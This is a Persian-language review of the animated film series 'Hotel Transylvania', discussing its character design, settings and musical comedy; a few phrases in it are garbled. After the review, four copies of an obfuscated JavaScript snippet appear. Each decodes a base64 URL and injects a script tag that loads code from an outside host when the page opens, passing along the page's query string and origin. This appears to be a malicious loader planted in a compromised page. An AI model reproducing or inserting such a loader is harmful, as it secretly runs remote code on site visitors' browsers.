«هتل ترانسیلوانیا»؛ صحنه نبرد سخت انسانها و هیولاها
در میان تئوریسینهای سینما یک بحث قدیمی وجود دارد و آن این است که: فرم به محتوا مقدم است یا محتوا به فرم؟ فرقی نمیکند اثر سینمایی ما یک فیلم بلند بزرگسالانه باشد یا یک انیمیشن کودکانه، فیلم در ژانر اکشن ساخته شده باشد یا درام و موزیکال، واقعیت آن است که هر مدیوم فرم خود را میطلبد و باید شکل بیان هر مدیوم را به خوبی بشناسیم تا بتوانیم یک اثر موفق و ماندگار خلق کنیم. در این میان انیمیشنها و محصولات پویانمایی بیش از فیلمها مستعد تکنیکزدگی هستند، خصوصا آثار کامپیوتری که تاکید بیشتری بر جلوههای بصری دارند و به انیماتور اجازه میدهند تا با استفاده از ابزارها و فنون مختلف یک اثر خوش آب و رنگ و جذاب بیافریند. در فیلم دکو این فته از چیدانه به سراغ یکی از خوشساختترین انیمیشنهای حال حاضر دنیا رفتهایم که احتمالا بخشهایی از سری قسمتهای آن را در فضای تماشا کردهاید: «هتل ترانسیوانیا» اثر محبوب گندی تارتاکوفسکی. اگر از طرفداران انیمیشن هستید با ما باشید تا جزئیات این اثر را از نگاه تخصصیتری بررسی کنیم.
خلاصه داستان انیمیشن «هتل ترانسیلوانیا»
ماجرای فیلم درباره یک دراکولا به نام «لولوخان» است که بعد از فوت همسرش تصمیم میگیرد یک هتل بسازد و تمام هیولاها را در آن جمع کند تا جایی دور از شهر، از گزند آدمها در امان باشند. در این میان جاناتان که یک آدمیزاد است به طور تصادفی وارد هتل میشود و …
طراحی شخصیتهای انیمیشنی
طراحی شخصیت، هنر خلق بازیگری است که با محتوای داستان همسو باشد. چگونگی شکل دادن ظاهر یک کاراکتر در انیمیشن بسیار مهم است، زیرا زمانی که هنوز داستان برای من و شمای مخاطب روشن نیست این ظاهر کاراکتر است که کمک میکند تا شخصیتها را از نظر منفی، مثبت یا خنثی بودن در ذهنمان طبقهبندی کنیم. هماهنگی ویژگیهای ظاهری با خصوصیات اخلاقی باعث میشود پذیرش داستان برایمان راحتتر باشد. به همین دلیل است که انیماتورهای آثار معروف دنیا بسیار جزئینگرانه به طراحی تک تک شخصیتها میپردازند.
هتل ترانسیلوانیا قرار است مکانی مخوف و تاریک باشد که جولانگاه دراکولاهای ترسناک است. قرار است با دیدن صحنههای خوفآور و کاراکترهای عجیب و غریب آن بترسیم و قلب تهی کنیم، اما طراحی صحنه، شخصیتها و موقعیتها به گونهای شکل گرفته است که در کنار تهمایه وحشتی که در ذهنمان نقش میبندد شاهد موقعیتهای کمیک و خندهدار نیز هستیم. در واقع در بیشتر لحظاتی که در حال تماشای انیمیشن هستیم به صندلی تکیه داده و لبخند میزنیم. چرا که این دراکولاهای دوست داشتنی آنقدرها هم که فکرش را میکنیم خشن و خطرناک نیستند.
کاراکتر اول که محبوبترین نقش انیمیشن هم محسوب میشود «کنت دراکولا» یا همان «لولوخان» است. چهره لولوخان شما را یاد چه شخصیت کارتونی میاندازد؟ اگر با این کاراکتر آشنا باشید شاید او را چیزی مابین شجاعت و شکوه «آقای شگفتانگیز» و شرارت و سرسخت بودن «فلونیوس گرو» در «منِ نفرتانگیز» ببینید. درست است که لولوخان یک دراکولاست و باید ویژگیهای یک خونآشام را داشته باشد اما در حقیقت او پدری دلسوز، مهربان و خوشقلب است، هرچند از ظاهرش برنمیآید.
طراحی کاراکتر کنت دراکولا به زیبایی هرچه تمامتر شکل گرفته است. قد و قواره کشیده و شنل سیاهرنگ لولوخان با اکتهای تند و سریع او را شخصیتی مرموز و قدرتمند جلوه میکند، اما در بعضی صحنهها همین شخصیت تبدیل به پدری مهربان، رفیقی خنگ و احمق یا عاشقی بیدست و پا میشود که مخاطب انتظار ندارد. اصلا همین صحنههاست که مخاطب را شگفتزده میکند و موقعیتهای طنز پدید میآورد.
صورت کشیده و زاویهدار لولوخان میخواهد حس ترس ناشی از هیولا بودن این شخصیت را به بیننده یادآوری کند، اما اشکال هندسی اجزاء صورت به گونهای طراحی شدهاند که لطافت و گرمای درونی این شخصیت را کاملا قابل باور میکند.
از طرفی جاناتان که یک آدمیزاد است و به صورت اتفاقی پا به هتل ترانسیلوانیا میگذارد ظاهری کاملا متفاوت از خونآشامهای انیمیشن دارد. شخصیت زنده و پویای جاناتان از ابعاد ظاهری او ملموس است، استفاده از رنگهای شاد در طراحی لباس، مو و صورت جاناتان در کنار حرکات منع و شخیهای بامزهاش این شخصیت را به یکی از جذابترینهای انیمیشن تبدیل کرده است که به خصوص در سری دوم انیمیشن حسابی گل میکند و میدرخشد. این در حالی است که کاراکترهای دیگر انیمیشن مانند میوس، MURRAY، وین، ولد و … ظاهری سرد، کرخت، ناملموس و فانتزی دارند و در باور مخاطب متعلق به دنیایی تاریک و مرموز هستند.
طراحی محیط
هتل ترانسیلوانیا مانند آثار پیکسار دارای مفاهیم عمیق اخلاقی نیست و محبوبیت زیاد این انیمیشن بیشتر به دلیل کیفیت ساختاری و محتوای کمدی و طنزگونه آن است.
دنیای ترانسیلوانیایی ظاهرا مکانی است تاریک و مخوف که پرده شب بر آن سایه افکنده و قرار است مخاطب با گشت و گذار در راهروهای تنگ و نمور هتل الب تهی کند و مو بر تنش سیخ شود. فضای ترسیمی هتل با قلعهای بلند و دیوارهای محکم و سیمانی جلوهای هراسناک را پدید آورده است. داخل هتل هم دست کمی از فضای بیرونی آن ندارد. رنگپردازی حرفهای انیمیشن کاملا این حس را به بیننده القا میکند که دنیای هیولاها آنقدرها همان قدر بیرنگ و روح و ترسناک است که همیشه فکر میکردیم. استفاده زیاد از رنگهای قرمز و قهوهای که سمبلی از خشونت هستند در طراحی صحنههای هتل به وفور دیده میشود. اما در این انیمیشن همه چیز به نمایش دادن یک هتل خشک و خالی ختم نمیشود. طراحی جذاب محیطهای متنوع و کاملا جدید که برای مخاطب تازگی دارند همان چیزی است که این انیمیشن را محبوب کرده است.
مثلا در هتل ترانسیلوانیا3 هیولاها از قلعه خارج میشوند و برای یک سفر گردشگری با یک کشتی تفریحی به سمت آتلانتیس حرکت میکنند. جلوههای بصری سری سوم انیمیشن فوقالعاده است، زیرا از آن فضای تاریک و نمناک ناگهان وارد دنیایی از رنگ و نور میشویم که تنوع تصویری در تک تک صحنهها بیداد میکند. هرچند باز هم در محیطی خفقاآور و شبگونه قرار داریم، زیرا قرار است در چنین فضایی شاهد نبرد نفسگیر انسانها و دراکولاها باشیم.
فضای کمدی موزیکال در انیمیشن
یکی از جذابیتهای خاص سری انیمیشنهای هتل ترانسیلوانیا نقش پررنگ موسیقی در بخشهای مختلف آن است. هماهنگی بسیار بالای سکانسهای موزیکال فیلم با تک تک حرکات دوربین و نحوهی گام زدن تمامی شخصیتها، به خوبی نشان از توجه بالای کارگردان و تمام انیماتورهای اثر، به جزئیات دارد و دقیقا به مانند محصولات سینمایی پیشین، برخی از دوستداشتنیترین سکانسهای مجموعه به واسطهی آن خلق میشوند. احتمالا آن سکانس معروف خوانندگی ماهیها را در فضای مجازی دیده باشید درحالی که با آن استایل خاص پشت میکروفون ایستادهاند و آهنگ میخوانند!
هوشمندی سازنده در بکارگیری رنگ و موسیقی در این اثر بسیار کارساز بوده است. برگزاری کنسرت و آهنگخوانی کاراکترها با اکتهای موزون امتیاز برتر این انیمیشن به شمار میروند و استفاده از مولفه موسیقی کارکردی صلحطلبانه و ماجراجویانه دارد. چرا که هدف اصلی انیمیشن نمایش مهربانی انسانها و هیولاها، از بین رفتن دشمنی و کینههای دیرینه، پذیرفتن تفاوتهای ظاهری و هنر عشق ورزیدن است و استفاده از آیتم قدرتمند موسیقی به خوبی توانسته است بر این آرمان تاکید کند.
«هتل ترانسیلوانیا» یکی از پرجذبهترین انیمیشنهای حال حاضر دنیاست. شاید به عقیده برخی منتقدان کیفیت محتوایی اثر به اندازه آثار پیکسار قدرتمند نباشد و یک ساخته فاخر یا یک شاهکار پویانمایی به شمار نیاید، اما از هر نظر که بسنجیم به سختی میتوانیم بر کیفیت ساختاری و بصری آن خرده بگیریم. نظر شما درباره 4 قسمت انیمیشن «هتل ترانسیلوانیا» چیست؟ به نظرتان کدام سری این انیمیشن موفقتر بوده و بیشتر به دل شما نشسته است؟ برایمان بنویسید.
(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();